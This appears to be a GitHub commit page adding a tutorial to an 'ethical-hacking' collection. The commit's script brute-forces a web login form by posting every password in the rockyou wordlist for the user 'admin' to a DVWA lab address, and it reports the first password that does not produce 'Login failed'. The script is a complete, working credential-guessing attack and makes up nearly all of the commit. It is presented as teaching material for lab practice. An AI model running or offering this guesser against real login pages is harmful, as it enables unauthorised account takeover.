Skip to content

Commit bcd7d81

Browse files
committed
add login password guesser tutorial
1 parent 78cfa03 commit bcd7d81

File tree

4 files changed

+28
-0
lines changed

4 files changed

+28
-0
lines changed

README.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -42,6 +42,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy
4242
- [How to Geolocate IP addresses in Python](https://www.thepythoncode.com/article/geolocate-ip-addresses-with-ipinfo-in-python). ([code](ethical-hacking/geolocating-ip-addresses))
4343
- [How to Crack Hashes in Python](https://thepythoncode.com/article/crack-hashes-in-python). ([code](ethical-hacking/hash-cracker))
4444
- [How to Make a Phone Number Tracker in Python](https://thepythoncode.com/article/phone-number-tracker-in-python). ([code](ethical-hacking/phone-number-tracker))
45+
- [How to Make a Login Password Guesser in Python](https://thepythoncode.com/article/make-a-login-password-guesser-in-python). ([code](ethical-hacking/login-password-guesser))
4546

4647
- ### [Machine Learning](https://www.thepythoncode.com/topic/machine-learning)
4748
- ### [Natural Language Processing](https://www.thepythoncode.com/topic/nlp)
Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
# [How to Make a Login Password Guesser in Python](https://thepythoncode.com/article/make-a-login-password-guesser-in-python)
Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
import requests, sys
2+
from colorama import Fore, init
3+
4+
init()
5+
6+
def guess_password(target_url, username, wordlist_path, action_type):
7+
parameters = {"username": username, 'password': '', 'Login': action_type} # Create a dictionary 'parameters' with username, empty password, and action_type.
8+
# Open the file containing our wordlist 'rockyou.txt' for reading.
9+
with open(wordlist_path, 'r') as word_list:
10+
# Loop through each word in the wordlist.
11+
for each_word in word_list:
12+
word = each_word.strip() # Remove whitespace from the word.
13+
parameters['password'] = word # Set the password parameter to the current word.
14+
# Send an HTTP POST request to the target_url with the current 'parameters'.
15+
output = requests.post(target_url, data=parameters)
16+
# Check if the response content does not contain "Login failed".
17+
if 'Login failed' not in output.content.decode('utf-8'):
18+
# If the condition is met, print a success message with the found password.
19+
print(f"{Fore.GREEN} [+] Password Found! >>> {word} ")
20+
sys.exit() # Exit the script.
21+
# If no password is found after iterating through the wordlist, print a failure message.
22+
print(f"{Fore.RED} [-] Password not found.")
23+
24+
guess_password("http://192.168.134.129/dvwa/login.php", 'admin', 'C:\\Users\\muham\\Documents\\wordlists\\rockyou.txt', 'submit')
Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
colorama
2+
requests

0 commit comments

Comments
 (0)